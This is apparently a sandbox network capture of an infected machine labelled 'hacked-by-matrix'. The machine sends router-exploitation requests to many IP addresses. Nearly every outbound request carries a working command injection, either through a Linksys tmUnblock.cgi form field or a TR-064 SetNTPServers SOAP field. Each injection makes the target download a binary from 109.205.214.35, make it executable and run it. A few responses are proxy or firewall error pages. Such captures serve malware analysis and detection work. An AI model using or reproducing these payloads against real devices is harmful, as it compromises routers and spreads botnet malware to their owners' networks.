Mar 21, 2024 05:17:12.155632973 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:17:12.247554064 CET	1260	IN	HTTP/1.1 400 Bad Request Server: squid/6.0.0-20220501-re899e0c27 Mime-Version: 1.0 Date: Thu, 21 Mar 2024 04:17:12 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3562 X-Squid-Error: ERR_INVALID_URL 0 Vary: Accept-Language Content-Language: en Cache-Status: ezproxies.com Via: 1.1 ezproxies.com (squid/6.0.0-20220501-re899e0c27) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2022 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2022 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, s

Session ID	Source IP	Source Port	Destination IP	Destination Port
282	192.168.2.23	45962	99.227.56.215	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:12.190006971 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
283	192.168.2.23	55868	47.146.52.152	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:12.230849981 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
284	192.168.2.23	57168	139.64.23.140	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:12.304225922 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:13.535262108 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:15.007055044 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:18.078635931 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:23.965827942 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:35.742851019 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:00.312856913 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:47.410284996 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
285	192.168.2.23	46002	99.227.56.215	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:12.322448969 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
286	192.168.2.23	51852	174.18.48.141	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:12.386205912 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:12.557897091 CET	90	IN	HTTP/1.1 400 Bad Request Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 62 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 62 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 00 Data Ascii: <html><head></head><body><b>400 Bad Request</b></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
287	192.168.2.23	55910	47.146.52.152	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:12.393373966 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
288	192.168.2.23	51282	107.154.112.243	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:12.420258999 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:17:12.640847921 CET	908	IN	HTTP/1.1 503 Service Unavailable Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 689 X-Iinfo: 11-71192399-0 0NNN RT(1710994631998 0) q(0 -1 -1 -1) r(0 -1) Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 35 26 78 69 6e 66 6f 3d 31 31 2d 37 31 31 39 32 33 39 39 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 37 31 30 39 39 34 36 33 31 39 39 38 25 32 30 30 25 32 39 25 32 30 71 25 32 38 30 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 33 34 33 31 32 34 39 31 31 35 36 34 37 39 32 30 37 35 26 65 64 65 74 3d 32 32 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 50 4f 53 54 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 33 34 33 31 32 34 39 31 31 35 36 34 37 39 32 30 37 35 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=5&xinfo=11-71192399-0%200NNN%20RT%281710994631998%200%29%20q%280%20-1%20-1%20-1%29%20r%280%20-1%29&incident_id=0-343124911564792075&edet=22&cinfo=ffffffff&rpinfo=0&mth=POST" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-343124911564792075</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
289	192.168.2.23	51862	174.18.48.141	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:12.542861938 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
290	192.168.2.23	57212	139.64.23.140	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:12.557898998 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:13.855211973 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:15.393312931 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
